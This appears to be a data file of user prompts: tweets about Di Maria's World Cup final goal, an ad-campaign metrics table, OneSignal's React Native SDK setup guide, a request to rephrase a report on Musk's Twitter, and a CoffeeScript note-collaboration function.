time otherwise its gone. #ArgentinaVsFrance #FIFAWorldCupFinal 15:36:36.0000000\nGOAL! ARGENTINA 2-0 France\'\'IT\'S DI MARIA WITH A SENSATIONAL GOAL! \'\'https://t.co/wtEfL70MU4 #FIFAWorldCup https://t.co/x8w76dNag2 15:36:27.0000000\n@remnantvault That goal Di Mar?a just scored proves otherwise. We don\'t need charity. France has been busy trying to prevent us from scoring rather than trying to score themselves too. 15:36:52.0000000\nLionel Messi assist! Di Maria’s goal! Football heritage! 15:36:53.0000000\nDI MARIA ???????????????? what an amazing build up for that goal 2-0 Argentina 15:36:07.0000000\nDi Maria hands Argentina another goal, what a beautiful square play. Text book execution and they punish France. 15:36:56.0000000\nDI MARIAAAAAAAA\'WHAT A TEAM GOAL\'WHAT ARE WE WITNESSING HERE!!!!!\'#ArgentinaVsFrance 15:36:16.0000000\n??ARGENTINA DOUBLE THEIR LEAD??\'\'GOAL: Di Maria 35‘ ??????\'2-0 15:35:51.0000000\nArgentina 2 : France 0\'#worldcup \'#WorldCup2022 \'Goal by Di Maria 15:36:48.0000000\nGOAL 2-0 Argentina! a counter-attack at speed and Di Maria finishes things off. #ARG #FRA #FIFAWorldCup 15:35:51.0000000\nDi Maria with the second goal\'Argentina 2 - 0 France #FRAARG #FIFAWorldCupFinal 15:36:24.0000000\n2-0 Argentina.\'\'ANGEL DI MARIA DOUBLES THE LEAD!!! ANOTHER GOAL IN A FINAL FOR HIM!!! https://t.co/m2YWSEnYMS 15:36:19.0000000\nNice goal by Di Maria #FIFAWorldCup #ArgentinaVsFrance 15:36:59.0000000\nOmg that 2nd goal, one touch clean passes on the attach was a beauty. Messi with the assist and Di Maria for goal. 2-0 #ARG game on now #FIFAWorldCup #ArgentinaVsFrance 15:36:52.0000000\nAnother goal for Argentina... De Maria ????\'\'#ArgentinaVsFrance #WorldCup #FIFAWorldCup #Messi?? #Mbappe 15:36:57.0000000\nGOOOOOOOAAAL!!! \'\'Di Maria doubles the lead for Argentina. What a beautiful team goal. \'\'Argentina ???? 2???0?? France ???? \'\'#FifaWorldCup 15:36:50.0000000\n?ngel Di Maria is an absolute pleasure to watch. One of the most underrated players of all time. What a goal from Argentina! Is is finally Messi’s time? 15:36:19.0000000\nDi Maria makes it 2 - 0 Argentina vs France that maybe his last ever world cup goal wow! #WorldCup2022 15:36:27.0000000\nGOAL: World Cup final - Argentina 2-0 France, Di Maria (35 mins) #Qatar2022 15:36:18.0000000\nAbsolutely Superb goal from Argentina great finish from Di Maria ???? 15:36:52.0000000\nDI MARIA!!! WHAT A GOAL!!!! L\'ARGENTINA!!!! 15:36:44.0000000\nDi Maria deserves this goal. Excellent work today. #ArgentinaVsFrance #WorldCup #FIFAWorldCup 15:36:42.0000000\nDI MAARRIAAAAAA what a stunning goal for #arg #FIFAWorldCupFinal 15:36:39.0000000\nDi Maria!!! What a nice goal!!!!! #Argentina up 2-NIL!!!! #WorldCup2022 15:36:39.0000000\nDi Maria! What a glorious goal! ???? has got this final! #ArgentinaVsFrance 15:36:28.0000000\nThat goal by Di Maria was aces! #WorldCupFinal 15:36:17.0000000\nArgentina 2-0 Now???? because of a goal by Di Maria \'\'#WorldCupFinal #ArgentinaVsFrance 15:36:55.0000000\nTerrific break by Argentina no problem with that Goal Messi Mcallister Di Maria 2-0 15:36:53.0000000\nWhat an assist what a goal Di Maria ???????? #ArgentinaVsFrance 15:36:33.0000000\n2-0 & Di Maria chipped his goal\'#WorldCup \'#ArgentinaVsFrance 15:36:55.0000000\nGOAL Argentina 2-0 France Di Maria, wonderful team goal #ARGFRA #FIFAWorldCup 15:36:06.0000000\nDI MARIA...WHAT A GOAL! What a pass by Mac Allister and what a flick by MESSI! INSANE! VAMOS ARGENTINA! 15:36:44.0000000\nBeautiful football... Argentina mesmerizing France what a goal from Di Maria... What a touch 15:36:52.0000000\n?? #WorldCup | #Qatar2022\'\'? 36\' | GOAL!!! Angel Di Maria doubles Argentina\'s lead!\'\'#ARG 2-0 #FRA \'\'#Selecci?nMayor #FiersdetreBleus #ARGFRA https://t.co/M64jzboGG8 15:36:06.0000000\nDi Maria what a goal that was. Argentina have blown France away here. 15:36:21.0000000\nGOAL!\'\'Angel di Maria makes it 2 - 0 for Argentina.\'\'#FIFAWorldCup 15:36:34.0000000\nDi Maria \'\'2-0 \'\'Beautiful goal from Argentina! 15:35:59.0000000\nThat wasn\'t a penalty.\'But this Di Maria goal shows how good has Argentina been playing all match. 15:36:43.0000000\nBit annoying when you had Di Maria first goal scorer, France being found out at last 15:36:37.0000000\nGoal Di Maria!!!! Argentina up 2-0 and France is looking sluggish on offense 15:36:55.0000000\nThat is a beautiful goal!!\'\'Di Maria with the finish and they’ve been all over France 15:36:32.0000000\nDI MARIA Scores the second goal for Argentina 15:36:54.0000000\nDI MARIA!!!!!!!!! ARGENTINA SCORE A SECOND!!!!!!!! WAS THAT GOAL RIGGED TOO OR WILL YALL STOP CRYING?? #FIFAWorldCup #ARG #FRA 15:36:23.0000000\nGOAL BY DI MARIA ?? #ARG \'\'????Argentina 2-0 France????\'\'#FIFAWorldCup | #ARGFRA 15:36:10.0000000\nDe Maria, Ze Maria.. astonishing goal.. #ArgentinaVsFrance #FIFAWorldCup 15:36:19.0000000\nAngel Di Maria makes it 2 -0 to Argentina #FIFAWorldCup ! Goal of the tournament 15:36:22.0000000\nWhat an amazing team-goal. Di Maria can still do it on the big stage. #ARGFRA 15:36:56.0000000\nArgentina is putting on a clinic right now. That was a gorgeous goal by Angel di Maria. 15:36:55.0000000\nWOW. WHAT A GOAL! Finished by Di Maria, Argentina well on top… anyone seen France & Mbappe??? 15:36:37.0000000' -'account\\_id hour cumulative\\_local\\_spend cumulative\\_impressions cumulative\\_clicks cumulative\\_installs local\\_spend impressions clicks installs day\\_count CPT CPI CVR CTR\n2405380 0 2477.86 5273 466 252 2477.86 5273 466 252 34 5.317296137 9.832777778 0.5407725322 0.08837473924\n2405380 1 2663.41 6033 503 276 185.55 760 37 24 34 5.014864865 7.73125 0.6486486486 0.04868421053\n2405380 2 4300.75 11506 814 455 1637.34 5473 311 179 34 5.264758842 9.147150838 0.575562701 0.05682441074\n2405380 3 5304.85 14721 1006 573 1004.1 3215 192 118 34 5.2296875 8.509322034 0.6145833333 0.05972006221\n2405380 4 6051.27 17377 1159 650 746.42 2656 153 77 34 4.878562092 9.693766234 0.5032679739 0.05760542169\n2405380 5 6558.75 19994 1267 709 507.48 2617 108 59 34 4.698888889 8.601355932 0.5462962963 0.0412686282\n2405380 6 7103.39 21751 1385 770 544.64 1757 118 61 34 4.61559322 8.92852459 0.5169491525 0.0671599317\n2405380 7 7686.22 24651 1535 832 582.83 2900 150 62 34 3.885533333 9.400483871 0.4133333333 0.05172413793\n2405380 8 8428.2 28666 1735 916 741.98 4015 200 84 34 3.7099 8.833095238 0.42 0.0498132005\n2405380 9 9338.96 33768 1956 1024 910.76 5102 221 108 34 4.121085973 8.432962963 0.4886877828 0.04331634653\n2405380 10 10583.99 39980 2233 1169 1245.03 6212 277 145 34 4.494693141 8.586413793 0.523465704 0.04459111397\n2405380 11 12054.14 46514 2544 1305 1470.15 6534 311 136 34 4.727170418 10.80992647 0.4372990354 0.04759718396\n2405380 12 13230.4 54028 2842 1447 1176.26 7514 298 142 34 3.947181208 8.283521127 0.4765100671 0.03965930264\n2405380 13 14744.02 63596 3235 1627 1513.62 9568 393 180 34 3.851450382 8.409 0.4580152672 0.04107441472\n2405380 14 16024.85 72294 3599 1787 1280.83 8698 364 160 34 3.518763736 8.0051875 0.4395604396 0.04184870085\n2405380 15 17273.54 80542 3969 1956 1248.69 8248 370 169 34 3.374837838 7.388698225 0.4567567568 0.04485935984\n2405380 16 18843.11 90961 4436 2178 1569.57 10419 467 222 34 3.360963597 7.070135135 0.4753747323 0.04482195988\n2405380 17 20007.32 99911 4814 2369 1164.21 8950 378 191 34 3.079920635 6.095340314 0.5052910053 0.04223463687\n2405380 18 21192.64 108437 5109 2507 1185.32 8526 295 138 34 4.018033898 8.589275362 0.4677966102 0.03460004692\n2405380 19 23034.85 119555 5507 2698 1842.21 11118 398 191 34 4.628668342 9.645078534 0.4798994975 0.03579780536\n2405380 20 25211.77 131730 5984 2918 2176.92 12175 477 220 34 4.563773585 9.895090909 0.4612159329 0.03917864476\n2405380 21 27890.82 147618 6646 3208 2679.05 15888 662 290 34 4.046903323 9.238103448 0.4380664653 0.04166666667\n2405380 22 31303.19 164006 7407 3605 3412.37 16388 761 397 34 4.484060447 8.595390428 0.5216819974 0.04643641689\n2405380 23 35009.56 179633 8314 4083 3706.37 15627 907 478 34 4.086405733 7.753912134 0.5270121279 0.05804057081' -'Here are the OneSignal docs\n\nReact Native SDK Setup\nInstructions for adding the OneSignal React Native & Expo SDK to your app for iOS, Android, and derivatives like Amazon\n\nSuggest Edits\nStep 1. Requirements\nOneSignal Account\nYour OneSignal App Id, available in Settings > Keys & IDs.\niOS Requirements\nAn iOS 9+ or iPadOS device (iPhone, iPad, iPod Touch) to test on. Xcode 14+ simulator works running iOS 16+.\nA Mac with Xcode 12+.\nAn iOS Push Certificate or P8 Authentication Token.\nAndroid Requirements\nAn Android 4.0.3+ device or emulator with "Google Play Store (Services)" installed.\nA Google/Firebase Server API Key.\nProject using AndroidX.\ncompileSDKVersion set to 33 or higher.\nAmazon & Huawei Requirements\nFollow these instructions if your app is distributed on the Amazon AppStore and/or the Huawei AppGallery.\n\nGenerate an Amazon API Key.\nHuawei Unity SDK Setup.\n📘\nRunning Example Project\n\nFor your convenience, we created an example project, based on React Native 0.63.\nYou can run this project to test configurations, debug, and build upon it.\n\ngit clone https://github.com/OneSignal/react-native-onesignal\ncd react-native-onesignal && cd examples && cd RNOneSignal\nyarn\nRunning the Android example app: react-native run-android\nRunning the iOS example app:\nOpen the RNOneSignal project in Xcode\nChange the Signing Team and Bundle Identifier for both the RNOneSignal target as well as the OneSignalNotificationServiceExtension\nThe Service Extension bundle id should be .OneSignalNotificationServiceExtension\nBuild\nStep 2. Add the OneSignal package to your app\n🚧\nExpo Setup\n\nOneSignal is a native library and leverages the Google FCM and Apple APNS protocols. There are 2 options for adding OneSignal to your Expo Project:\n\nTry the OneSignal Expo Plugin. Recommended if you are using a Managed Expo Workflow. Follow the plugin\'s README for details.\nUse an Expo Bare Workflow. Follow Expo’s guide on Ejecting from the Managed Workflow.\n2.1 Install the SDK using Yarn or NPM\n\nYarn: yarn add react-native-onesignal\nNPM npm install --save react-native-onesignal\n2.2 Link OneSignal (for RN versions < 0.60)\n\nSkip if using React Native version of 0.60 or greater. Autolinking is now done automatically so skip to step 3.\n\nReact Native: react-native link react-native-onesignal\n\nStep 3. Install for Android using Gradle (For Android apps)\nWithin your Android project\'s app/build.gradle, validate that your compile and target SDK versions are set to version 33 or higher:\n\napp/build.gradle\n\nandroid {\n compileSdkVersion 33\n ...\n\n defaultConfig {\n ...\n targetSdkVersion 33\n }\n}\nStep 4. Install for iOS using Cocoapods (For iOS Apps)\n4.1 Run cd ios && pod install\n\n4.2 Add Required Capabilities\n\nIn your project\'s ios directory, open the .xcworkspace file in Xcode.\n\nSelect the root project and main app target. In Signing & Capabilities, select All and + Capability. Add "Push Notifications".\n\n2794\nClick + Capability to add Background Modes and check Remote notifications.\n\n3024\n4.3 Add a Notification Service Extension\n\nThe OneSignalNotificationServiceExtension allows your application to receive rich notifications with images and/or buttons, and to report analytics about which notifications users receive.\n\n4.3.1 In Xcode Select File > New > Target...\n4.3.2 Select Notification Service Extension then press Next.\n\n1482\n4.3.3 Enter the product name as OneSignalNotificationServiceExtension and press Finish. Do not press "Activate" on the dialog shown after this.\n\n1454\n4.3.4 Press Cancel on the Activate scheme prompt.\n\n840\nBy canceling, you are keeping Xcode debugging your app, instead of just the extension. If you activate by accident, you can always switch back to debug your app within Xcode (next to the play button).\n\n4.3.5 In the Project Navigator, select the top-level project directory and select the OneSignalNotificationServiceExtension target.\n\nEnsure the Deployment Target is set to the same value as your Main Application Target. Unless you have a specific reason not to, you should set the Deployment Target to be iOS 10 which is the version of iOS that Apple released Rich Media for push. iOS versions under 10 will not be able to get Rich Media.\n\n3024\nThis should be the same value as your Main Application Target.\n\n4.3.6 In your Project Root > ios > Podfile, add the notification service extension outside the main target (should be at the same level as your main target):\n\nPodfile\nExample Podfile\n\ntarget \'OneSignalNotificationServiceExtension\' do\n pod \'OneSignalXCFramework\', \'>= 3.0\', \'< 4.0\'\nend\nClose Xcode. While still in the ios directory, run pod install again.\n\nRe-Open the . xcworkspace file in Xcode. In the OneSignalNotificationServiceExtension directory > NotificationService.m or NotificationService.swift file, replace the whole file contents with the code below:\n\nObjective-C\nSwift\n\n#import \n\n#import "NotificationService.h"\n\n@interface NotificationService ()\n\n@property (nonatomic, strong) void (^contentHandler)(UNNotificationContent \\*contentToDeliver);\n@property (nonatomic, strong) UNNotificationRequest \\*receivedRequest;\n@property (nonatomic, strong) UNMutableNotificationContent \\*bestAttemptContent;\n\n@end\n\n@implementation NotificationService\n\n- (void)didReceiveNotificationRequest:(UNNotificationRequest \\*)request withContentHandler:(void (^)(UNNotificationContent \\* \\_Nonnull))contentHandler {\n self.receivedRequest = request;\n self.contentHandler = contentHandler;\n self.bestAttemptContent = [request.content mutableCopy];\n \n //If your SDK version is < 3.5.0 uncomment and use this code:\n /\\*\n [OneSignal didReceiveNotificationExtensionRequest:self.receivedRequest\n withMutableNotificationContent:self.bestAttemptContent];\n self.contentHandler(self.bestAttemptContent);\n \\*/\n \n /\\* DEBUGGING: Uncomment the 2 lines below and comment out the one above to ensure this extension is excuting\n Note, this extension only runs when mutable-content is set\n Setting an attachment or action buttons automatically adds this \\*/\n // NSLog(@"Running NotificationServiceExtension");\n // self.bestAttemptContent.body = [@"[Modified] " stringByAppendingString:self.bestAttemptContent.body];\n \n // Uncomment this line to set the default log level of NSE to VERBOSE so we get all logs from NSE logic\n //[OneSignal setLogLevel:ONE\\_S\\_LL\\_VERBOSE visualLevel:ONE\\_S\\_LL\\_NONE];\n [OneSignal didReceiveNotificationExtensionRequest:self.receivedRequest\n withMutableNotificationContent:self.bestAttemptContent\n withContentHandler:self.contentHandler];\n}\n\n- (void)serviceExtensionTimeWillExpire {\n // Called just before the extension will be terminated by the system.\n // Use this as an opportunity to deliver your "best attempt" at modified content, otherwise the original push payload will be used.\n \n [OneSignal serviceExtensionTimeWillExpireRequest:self.receivedRequest withMutableNotificationContent:self.bestAttemptContent];\n \n self.contentHandler(self.bestAttemptContent);\n}\n\n@end\nIgnore any build errors at this point, we will resolve these later by importing the OneSignal library.\n\n1128\n4.4 Add App Group\n\nIn order for your application to use Confirmed Deliveries and increment/decrement Badges through push notifications, you need to set up an App Group for your application.\n\n4.4.1 In your main app target go back to Signing & Capabilities > All > + Capability and add App Groups\n\n2796\n4.4.2 Under the newly added “App Groups” capability click the + button.\n\nSet the “App Groups” container to be group.YOUR\\_BUNDLE\\_IDENTIFIER.onesignal where YOUR\\_BUNDLE\\_IDENTIFIER is the same as shown in "Bundle Identifier" then press OK.\n\n1438\n4.4.3 Repeat this process for the OneSignalNotificationServiceExtension\n\nMake sure the "App Groups" container is the same for both targets! Do not include OneSignalNotificationServiceExtension. Then press OK.\n\n1352\nIf you require more details or troubleshooting help, see the iOS SDK App Groups setup guide.\n\nStep 5. Initialize the OneSignal SDK\nIn your App.js or index.js initialize OneSignal and try the example methods below:\n\nindex.js\n\nimport OneSignal from \'react-native-onesignal\';\n\n// OneSignal Initialization\nOneSignal.setAppId(ONESIGNAL\\_APP\\_ID);\n\n// promptForPushNotificationsWithUserResponse will show the native iOS or Android notification permission prompt.\n// We recommend removing the following code and instead using an In-App Message to prompt for notification permission (See step 8)\nOneSignal.promptForPushNotificationsWithUserResponse();\n\n//Method for handling notifications received while app in foreground\nOneSignal.setNotificationWillShowInForegroundHandler(notificationReceivedEvent => {\n console.log("OneSignal: notification will show in foreground:", notificationReceivedEvent);\n let notification = notificationReceivedEvent.getNotification();\n console.log("notification: ", notification);\n const data = notification.additionalData\n console.log("additionalData: ", data);\n // Complete with null means don\'t show a notification.\n notificationReceivedEvent.complete(notification);\n});\n\n//Method for handling notifications opened\nOneSignal.setNotificationOpenedHandler(notification => {\n console.log("OneSignal: notification opened:", notification);\n});\n🚧\nEvent Listeners & Components\n\nWe suggest using a base/root component to add as an event listener. If you choose a sub-component that is only shown in some situations (such as using a homepage as an event listener), the component may unmount later on as the user navigates elsewhere in your app.\n\nIf you encounter problems with one or more of the events listeners, please see our troubleshooting documentation here.\n\nManually updating iOS OneSignalNativeSDK\nWhen you install react-native-onesignal it will automatically include a specific version of the OneSignal iOS native SDK that is known to work with it. Only follow the instructions below if there is a native OneSignal SDK fix you need that isn\'t included already in the latest react-native-onesignal update.\n\nDownload the latest OneSignal iOS native release.\nDelete libOneSignal.a and OneSignal.h from node\\_modules/react-native-onesignal/ios/\nFrom /iOS\\_SDK/OneSignalSDK/Framework/OneSignal.framework/Versions/A/, copy OneSignal to /node\\_modules/react-native-onesignal/ios/ and rename it libOneSignal.a\nCopy OneSignal.h from /iOS\\_SDK/OneSignalSDK/Framework/OneSignal.framework/Versions/A/Headers to /node\\_modules/react-native-onesignal/ios/\nStep 6. Run Your App and Send Yourself a Notification\nRun your app on a physical device to make sure it builds correctly. Note that the iOS Simulator does not support receiving remote push notifications.\n\niOS and Android devices should be prompted to subscribe to push notifications if you used the example setup code provided.\nCheck your OneSignal Dashboard Audience > All Users to see your Device Record.\n\nThen head over to Messages > New Push to Send your first Push Notification from OneSignal.\n\n📘\nTroubleshooting\n\nIf you run into any issues please see our React Native troubleshooting guide.\n\nTry the example project on our Github repository.\n\nIf stuck, contact support directly or email support@onesignal.com for help.\n\nFor faster assistance, please provide:\n\nYour OneSignal App Id\nDetails, logs, and/or screenshots of the issue.\nSteps to reproduce\nStep 7. Set Custom User Properties\nRecommended\nAfter initialization, OneSignal will automatically collect common user data by default. Use the following methods to set your own custom userIds, emails, phone numbers, and other user-level properties.\n\nSet External User Id\nRequired if using integrations.\nRecommended for messaging across multiple channels (push, email, sms).\n\nOneSignal creates channel-level device records under a unique Id called the player\\_id. A single user can have multiple player\\_id records based on how many devices, email addresses, and phone numbers they use to interact with your app.\n\nIf your app has its own login system to track users, call setExternalUserId at any time to link all channels to a single user. For more details, see External User Ids.\n\nJavaScript\n\nlet externalUserId = \'123456789\'; // You will supply the external user id to the OneSignal SDK\nOneSignal.setExternalUserId(externalUserId);\nSet Email and Phone Number\nRecommended if using Email and SMS messaging.\nUse the provided SDK methods to capture email and phone number when provided. Follow the channel quickstart guides for setup:\n\nEmail Quickstart\nSMS Quickstart\nJavaScript\n\n// Pass in email provided by customer\nOneSignal.setEmail("example@domain.com");\n\n// Pass in phone number provided by customer\nOneSignal.setSMSNumber("+11234567890");\nData Tags\nOptional\nAll other event and user properties can be set using Data Tags. Setting this data is required for more complex segmentation and message personalization.\n\nJavaScript\n\nOneSignal.sendTag("key", "value");\nStep 8. Implement a Soft-Prompt In-App Message\nOptional\n\nIt is recommended that apps create an alert, modal view, or other interface that describes the types of information they want to send and gives people a clear way to opt in or out.\n\nOneSignal provides an easy option for a "soft-prompt" using In-App Messages to meet this recommendation and have a better user experience. This also permits you to ask for permission again in the future, since the native permission prompt can no longer be shown in your app if the user clicks deny.\n\n1200\nSee our How to Prompt for Push Permissions with an In-App Message Guide for details on implementing this.\n\n👍\nDone!\n\nVisit Mobile Push Tutorials for next steps.\n\nUpdated about 2 months ago' -'create and rephrase these articles into 3000 words about For weeks now, Elon Musk has been preoccupied with worries about how many people are seeing his tweets. Last week, the Twitter CEO took his Twitter account private for a day to test whether that might boost the size of his audience. The move came after several prominent right-wing accounts that Musk interacts with complained that recent changes to Twitter had reduced their reach.\n\nOn Tuesday, Musk gathered a group of engineers and advisors into a room at Twitter’s headquarters looking for answers. Why are his engagement numbers tanking?\n\n“This is ridiculous,” he said, according to multiple sources with direct knowledge of the meeting. “I have more than 100 million followers, and I’m only getting tens of thousands of impressions.”\n\nOne of the company’s two remaining principal engineers offered a possible explanation for Musk’s declining reach: just under a year after the Tesla CEO made his surprise offer to buy Twitter for $44 billion, public interest in his antics is waning.\n\n“You’re fired, you’re fired.”\n\nEmployees showed Musk internal data regarding engagement with his account along with a Google Trends chart. Last April, they told him, Musk was at “peak” popularity in search rankings, indicated by a score of “100.” Today, he’s at a score of nine. Engineers had previously investigated whether Musk’s reach had somehow been artificially restricted but found no evidence that the algorithm was biased against him.\n\nMusk did not take the news well. \n\n“You’re fired, you’re fired,” Musk told the engineer. (Platformer is withholding the engineer’s name in light of the harassment Musk has directed at former Twitter employees.)\n\nDissatisfied with the work of engineers so far, Musk has instructed employees to track how many times each of his tweets are recommended, according to one current worker.\n\nIt has now been seven weeks since Twitter added public view counts for every tweet. At the time, Musk promised that the feature would give the world a better sense of how vibrant the platform is. \n\n“Shows how much more alive Twitter is than it may seem, as over 90% of Twitter users read, but don’t tweet, reply or like, as those are public actions,” he tweeted.\n\nAlmost two months later, though, view counts have had the opposite effect, emphasizing how little engagement most posts get relative to their audience size. At the same time, Twitter usage in the United States has declined almost 9 percent since Musk’s takeover, according to one recent study.\n\nTwitter sources say the view count feature itself may be contributing to the decline in engagement and, therefore, views. The like and retweet buttons were made smaller to accommodate the display of views, making them harder to easily tap.\n\n“It’s chaos here right now, so we’re shipping chaos.”\n\nAn even more obvious reason for the decline in engagement is Twitter’s increasingly glitchy product, which has baffled users with its disappearing mentions, shifting algorithmic priorities, and tweets inserted seemingly at random from accounts they don’t follow. On Wednesday, the company suffered one of its first major outages since Musk took over, with users being told, inexplicably, “You are over the daily limit for sending tweets.”\n\nIt turns out that an employee had inadvertently deleted data for an internal service that sets rate limits for using Twitter. The team that worked on that service left the company in November.\n\n“As the adage goes, ‘you ship your org chart,’” said one current employee. “It’s chaos here right now, so we’re shipping chaos.”\n\nInterviews with current Twitter employees paint a picture of a deeply troubled workplace, where Musk’s whim-based approach to product management leaves workers scrambling to implement new features even as the core service falls apart. The disarray makes it less likely that Musk will ever recoup the $44 billion he spent to buy Twitter and may hasten its decline into insolvency. \n\n“We haven’t seen much in the way of longer term, cogent strategy,” one employee said. “Most of our time is dedicated to three main areas: putting out fires (mostly caused by firing the wrong people and trying to recover from that), performing impossible tasks, and ‘improving efficiency’ without clear guidelines of what the expected end results are. We mostly move from dumpster fire to dumpster fire, from my perspective.”\n\nMusk’s product feedback, which comes largely from replies to his tweets, often baffles his workers.\n“There’s times he’s just awake late at night and says all sorts of things that don’t make sense,” one employee said. “And then he’ll come to us and be like, ‘this one person says they can’t do this one thing on the platform,’ and then we have to run around chasing some outlier use case for one person. It doesn’t make any sense.”\n\nThe San Francisco headquarters, whose landlord has sued Twitter for nonpayment of rent, has a melancholy air. When people pass each other in the halls, we’re told that the standard greeting is “where are you interviewing?” and “where do you have offers?” The eighth floor is still stocked with beds, and employees have to reserve them in advance. \n\n“Most weeknights, they are fully booked,” another current employee said.\n\nThe perks that made Twitter an attractive place to work pre-Musk have been eradicated. Food at the office? “Sucks — and now we have to pay for it. And, I know this sounds petty, but they appear to have obtained the absolute worst coffee vendors on earth.”\n\nSlack — once the epicenter of Twitter’s open culture, where employees discussed anything and everything — has gone dormant. One current employee described it as a “ghost town.” \n\n“People don’t even chat about work things anymore,” the employee said. “It’s just heartbreaking. I have more conversations with my colleagues on Signal and WhatsApp than I do on Slack. Before the transition, it was not uncommon in the team channel to talk about what everybody did that weekend. There’s none of that anymore.” \n\nWhen Musk or the goons ask questions, employees are torn between giving the right answer and the safe answer. \n\n“When you’re asked a question, you run it through your head and say ‘what is the least fireable response I can have to this right now?’” one employee explained.\n\n“Twitter 2.0” has managed to improve on its predecessor in at least some ways\n\n(Of course, that’s not true for everyone at the company. “There are a handful of true believers that are obviously just ass-kissers and brown-nosers who are trying to take advantage of the clear vacuum that exists,” that same employee says.) \n\nDespite the turmoil, remaining employees say that what they call “Twitter 2.0” has managed to improve on its predecessor in at least some ways. \n\n“In the past, Twitter operated too often by committees that went nowhere,” one employee said. “I do appreciate the fact that if you want to do something that you think will improve something, you generally have license to do it. But that’s a double edged sword — moving that fast can lead to unintended consequences.” \n\nThe employee cited the disastrous relaunch of Twitter Blue, which resulted in brands being impersonated and dozens of top advertisers fleeing the platform.\n\n“If Elon can learn how to put a bit more thought into some of the decisions, and fire from the hip a bit less, it might do some good,” the employee said. “He needs to learn the areas where he just does not know things and let those that do know take over.” \n\nAt the same time, “he really doesn’t like to believe that there is anything in technology that he doesn’t know, and that’s frustrating,” the employee said. “You can’t be the smartest person in the room about everything, all the time.”\n\n“His stance is basically ‘fuck you, regulators.’”\n\nWith Musk continuing to fire people impulsively, entire teams have been wiped out, and their work is being handed to other overstretched teams that often have little understanding of the new work that is being assigned to them. \n\n“They have to become code archaeologists to dig through the repo and figure out what’s going on,” one employee said.\n\nMeanwhile, the recent wave of layoffs in the tech industry has contributed to a feeling of paralysis among those who remain at Twitter. \n\n“I do think the recent vibe overall in tech, and fear of not being able to find something else, is the primary factor for most folks,” an employee said. “I know for a fact that most of my team is doing hardcore interview prep and would jump at likely any opportunity to walk away.”\n\nThere is also a sense of unease about how recent changes will be reviewed by regulators. As part of an agreement with the Federal Trade Commission, Twitter committed to following a series of steps before pushing out changes, including creating a project proposal and conducting security and privacy reviews. \n\nSince Musk took over, those steps have become an afterthought, employees said. “His stance is basically ‘fuck you, regulators,’” we’re told. \n\nThe FTC plans to audit the company this quarter, we’re told, and employees have doubts that Twitter has the necessary documentation in place to pass inspection. “FTC compliance is concerning,” one says. \n\nLast year, before Musk took over, the FTC fined Twitter $150 million for breaking its agreement. Another breach would almost certainly result in millions of dollars in additional fines and a flurry of news coverage — just the thing, perhaps, to get the views on Musk’s tweets trending up again. \nTwitter CEO Elon Musk has fired the company’s top engineer because of his declining reach, the media reported.\n\nMusk, last week, kept his account private for one day to see whether that would increase the amount of his audience, reports The Verge.\n\nThe action was taken in response to complaints from many prominent right-wing accounts with whom Musk communicates that Twitter’s recent adjustments have decreased their reach.\n\nIn search of answers, Musk on Tuesday gathered a team of engineers and advisors in a room at Twitter’s headquarters.\n\n“This is ridiculous," he said, according to numerous sources with direct knowledge of the meeting.\n\n“I have more than 100 million followers, and I’m only getting tens of thousands of impressions."\n\n“One of the company’s two remaining principal engineers offered a possible explanation for Musk’s declining reach: just under a year after the Tesla CEO made his surprise offer to buy Twitter for $44 billion, public interest in his antics is waning," the report mentioned.\n\nAdvertisement\nEmployees showed Musk internal data related to the engagement with his account along with a Google Trends chart.\n\nIn April last year, they informed him, Musk was at “peak" popularity in search rankings, indicated by a score of “100."\n\nHowever, now, he is at a score of nine.\n\nEngineers previously looked at whether Musk’s reach had been purposely limited, but they couldn’t find any proof that the algorithm was biased against him.\n\nMusk did not take the news well and told the engineer, “You’re fired, you’re fired."\n\nAccording to a current employee, Musk has told employees to keep track of how frequently each of his tweets is recommended since he is dissatisfied with the engineers’ current work.\n\nMeanwhile, the micro-blogging platform on Thursday faced a global outage, including in India, and it seems like an employee had deleted data for an internal service that sets rate limits for using Twitter.' -"# called for every note rendered on screen to register it with collaboration services\n@RegisterQuillNote = (t, noteId) ->\n # this is registered for +quillNote components\n # and for +pNote component for public notes\n # every quill note needs to be registered except scratchpad and quick note\n noteDoc = Notes.findOne(noteId) or ESSearchResults.findOne(noteId)\n quill = t.editor\n\n unless noteDoc?.\\_id?\n if t.data.\\_id? and t.data.notepadId?\n console.warn 'could not find notes doc in collection using t.data', t.data\n noteDoc = t.data\n else\n console.warn 'could not find note document', t.data\n return\n\n if IsNoteOrNotepadEncrypted(noteDoc)\n # if note or notepad is encrypted then I want to register the update content autorun\n # and do not use ShareDB with encrypted notes, so returning\n UpdateQuillNoteAutorun(t)\n CollabEditingAutorun(t)\n t.addCurrentlyEditingAutorun?()\n return\n\n unless Session.get('online')\n UpdateQuillNoteAutorun(t)\n return\n\n # past this point you have to be online for everything to work\n # and nothing past should be needed when offline\n unless !!shareDBConnection\n console.warn 'shareDBConnection is not defined returning', shareDBConnection\n return\n\n openSock()\n\n unless !!ShareDBConnection?.id\n console.warn 'no sharedb connection ID'\n t.sharedbConnectComp?.stop()\n Meteor.setTimeout ->\n t.sharedbConnectComp = t.autorun (c) ->\n if ShareDBConnected.get()\n c.stop()\n unless !!t.deRegisteringNote\n console.log 'trying to register quill note again'\n RegisterQuillNote t, noteId\n return ShareDBConnected.get()\n , 100\n return\n\n t.bulkDeleteNoteEventFn = (e, noteDocID) ->\n if noteDocID is noteId\n DeleteShareDBNote(t)\n\n $('.notepad-container').on 'delete-sharedb-note', t.bulkDeleteNoteEventFn\n\n Meteor.setTimeout ->\n if noteDoc?.\\_id? and !!!t.deRegisteringNote\n t.cursorsSub = t.subscribe 'cursors', noteDoc.\\_id\n , 1\n\n cursorsModule = quill.getModule 'cursors'\n\n t.clearCursors = (e) ->\n cursorsModule.clearCursors()\n\n $('body').on 'clearCursors', t.clearCursors\n\n t.unloadFn = ->\n t.unloadingEventCalled = true\n DeregisterQuillNote(t)\n $('body').one 'unloading', t.unloadFn\n\n setSocketThenSubscribe = (err) ->\n if err\n meteorCallSetSocket()\n console.warn err\n return\n\n if t.subscribedShareDB?.get()\n console.warn 'already subscribed to sharedb document'\n return\n\n unless noteDoc?.\\_id?\n console.log 'removed note before getting sharedb doc'\n return\n Meteor.defer ->\n t.wasConnected = false\n t.sharedbSub = t.autorun (c) ->\n return unless t.sharedbDoc\n sharedbConnected = ShareDBConnected.get()\n isConnected = Meteor.status().connected\n if (!sharedbConnected or !isConnected) and !t.wasConnected\n t.wasConnected = true\n console.log 'sharedb or meteor connection lost, unsubscribe sharedb'\n t.sharedbDoc.unsubscribe (err) ->\n if err\n console.log err, 'sharedb unsubscribe 